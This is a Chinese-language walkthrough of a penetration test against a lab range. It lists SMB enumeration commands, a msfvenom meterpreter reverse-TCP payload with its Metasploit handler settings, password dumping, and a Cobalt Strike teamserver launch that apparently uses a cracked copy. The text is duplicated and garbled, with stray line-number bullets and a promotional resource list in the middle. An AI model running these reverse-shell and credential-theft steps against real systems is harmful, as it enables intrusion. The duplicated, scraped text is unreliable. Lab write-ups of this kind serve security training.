渗透测试流程

渗透测试分为 白盒测试 和 黑盒测试

1.白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透，有点类似于代码分析

2.黑盒测试就是只告诉我们这个网站的url，其他什么都不告诉，然后让你去渗透，模拟黑客对网站的渗透

web服务器

先来波端口扫描：

直接发现了内网的ip，这里需要提前说明一点，由于靶场搭建的问题，weblogic只在10.10.20.12这个ip上才能解析，所以需要调整下ip设置，等做完weblogic后我们在改回192段 

smb信息收集

smbmap -H 10.10.20.12

smbclient -N -L //10.10.20.12

enum4linux -a 10.10.20.12

 

rpcclient -U '' 10.10.20.12

smbclient -U '' -L \\10.10.20.12

 

weblogic漏洞利用

知道了weblogic的具体版本，可以直接去查询漏洞，也可以用工具自动扫描下；

 这里直接用CVE的漏洞来打一波；

 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.20.4 LPORT=1234 -f psh-cmd > exploit.ps1

# use exploit/multi/handler

# set payload windows/x64/meterpreter/reverse_tcp

# set lhost 10.10.20.4

# set lport 1234

# exploit

迁移下进程，开始抓密码； 

爆破一波，原来是个弱口令； 

接下来换成CS更方便；

./teamserver 192.168.223.138 123456 

 

java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xmx1024M -javaagent:hook.jar -jar cobaltstrike.jar 

信息收集一波；

weblogic数据解密

在介绍下用注册表抓取hash的方法；

web服务器

先来波端口扫描：

直接发现了内网的ip，这里需要提前说明一点，由于靶场搭建的问题，weblogic只在10.10.20.12这个ip上才能解析，所以需要调整下ip设置，等做完weblogic后我们在改回192段。

【一>所有资源获取<一】
1、200份很多已经买不到的绝版电子书
2、30G安全大厂内部的视频资料
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包

看到了weblogic的版本，查找下exp，顺手先来一波smb信息收集。

smb信息收集

smbmap -H 10.10.20.12

smbclient -N -L //10.10.20.12

enum4linux -a 10.10.20.12

rpcclient -U '' 10.10.20.12

smbclient -U '' -L \\10.10.20.12

weblogic漏洞利用

知道了weblogic的具体版本，可以直接去查询漏洞，也可以用工具自动扫描下；

这里直接用CVE的漏洞来打一波；

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.20.4 LPORT=1234 -f psh-cmd > exploit.ps1

# use exploit/multi/handler

# set payload windows/x64/meterpreter/reverse_tcp

# set lhost 10.10.20.4

# set lport 1234

# exploit

• 1
• 2
• 3
• 4
• 5
• 6
• 7
• 8
• 9

迁移下进程，开始抓密码；

爆破一波，原来是个弱口令；

接下来换成CS更方便；

./teamserver 192.168.223.138 123456

java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xmx1024M -javaagent:hook.jar -jar cobaltstrike.jar

信息收集一波；